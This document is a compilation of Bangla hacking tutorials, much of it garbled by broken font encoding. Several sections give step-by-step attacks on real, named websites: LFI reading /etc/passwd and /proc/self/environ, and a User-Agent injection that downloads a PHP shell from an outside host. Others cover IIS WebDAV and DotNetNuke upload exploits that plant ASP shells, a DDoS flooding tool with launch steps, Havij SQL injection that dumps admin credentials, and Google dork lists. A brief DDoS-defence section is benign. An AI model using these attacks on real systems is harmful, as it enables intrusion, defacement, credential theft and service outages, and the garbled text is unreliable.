Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
